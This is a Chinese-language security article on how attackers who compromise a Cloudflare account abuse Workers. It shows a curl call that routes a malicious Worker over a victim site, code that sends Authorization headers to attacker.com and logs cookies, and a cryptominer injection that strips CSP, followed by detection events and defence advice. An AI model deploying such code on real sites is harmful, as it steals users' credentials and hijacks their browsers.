本文详细分析了攻击者如何通过入侵Cloudflare账户滥用Workers功能,实现持久化驻留和数据窃取,包括窃取授权令牌、会话Cookie以及注入恶意JavaScript等技术手段。
边缘中间人攻击:滥用Cloudflare Workers
Cloudflare Workers提供强大的无服务器解决方案,能够在每个HTTP请求和响应之间运行代码。本文将展示攻击者在入侵Cloudflare账户后,如何滥用Workers功能建立持久化访问并窃取敏感数据。
技术背景
Cloudflare Workers支持在边缘服务器部署透明运行的代码,支持JavaScript/TypeScript和Python等语言。其核心功能包括:
- 动态重写请求和响应
- 添加安全头部
- 实施边缘流量控制
典型合法用例代码示例:
1
2
3
4
5
6
7
8
9
10
11
12
|
addEventListener('fetch', event => {
event.respondWith(handleRequest(event, event.request));
});
async function handleRequest(event, originalRequest) {
const requestUrl = new URL(originalRequest.url);
if (requestUrl.pathname.startsWith("/docs/latest/")) {
newUrl = originalRequest.url.replace("/docs/latest/", "/docs/v2.4/");
return Response.redirect(newUrl, 301);
}
return fetch(originalRequest)
}
|
攻击技术实现
1. 创建恶意Worker
基础恶意Worker框架:
1
2
3
4
5
6
7
8
9
10
11
12
|
// worker.js
addEventListener('fetch', event => {
event.respondWith(handleRequest(event, event.request));
});
async function handleRequest(event, request) {
return fetch(request);
}
// wrangler.toml
name = "my-malicious-worker"
compatibility_date = "2022-06-24"
|
通过Cloudflare API部署路由:
1
2
3
4
|
curl -X POST "https://api.cloudflare.com/client/v4/zones/<zone-id>/workers/routes" \
-H "X-Auth-Email: $CF_EMAIL" \
-H "X-Auth-Key: $CF_API_KEY" \
--data '{"pattern":"*victim.com/*","script":"my-malicious-worker"}'
|
2. 凭证窃取技术
窃取Authorization头:
1
2
3
4
5
6
|
async function stealAuthorizationHeader(request) {
const authz = request.headers.get("Authorization")
if (authz) {
await fetch("http://attacker.com/log/" + btoa(authz));
}
}
|
窃取会话Cookie:
1
2
3
4
5
6
|
async function stealCookies(request, response) {
const serverCookies = response.headers.get("Set-Cookie");
const clientCookies = request.headers.get("Cookie");
if (serverCookies) await logExfil(serverCookies);
if (clientCookies) await logExfil(clientCookies);
}
|
3. 恶意代码注入
注入加密货币挖矿脚本:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
|
async function injectMaliciousScript(originalResponse) {
if (!originalResponse.headers.get("Content-Type").includes("html"))
return originalResponse;
const maliciousScript = `
<script src="https://monerominer.rocks/miner-mmr/webmnr.min.js"></script>
<script>/* 挖矿配置代码 */</script>`;
const modifiedHtml = (await originalResponse.text()).replace(
"</body>", maliciousScript + "</body>");
const modifiedResponse = new Response(modifiedHtml, originalResponse);
modifiedResponse.headers.delete("Content-Security-Policy"); // 绕过CSP
return modifiedResponse;
}
|
攻击检测与防御
Cloudflare审计事件类型
事件类型 |
描述 |
script_create |
创建新Worker |
route_create |
Worker绑定路由 |
rec_add |
创建指向Worker的DNS记录 |
token_create |
创建API令牌 |
防御建议
- 启用多因素认证
- 定期轮换API密钥
- 监控异常Worker创建活动
- 企业版用户应配置SIEM集成
真实案例
- 2021年Badger事件:攻击者通过Worker注入恶意脚本劫持Web3交易
- 2020年SEO垃圾邮件:韩国攻击者动态修改搜索引擎响应内容
本文所述技术并非Cloudflare漏洞,而是其设计特性的潜在滥用方式。所有代码示例可在GitHub仓库获取。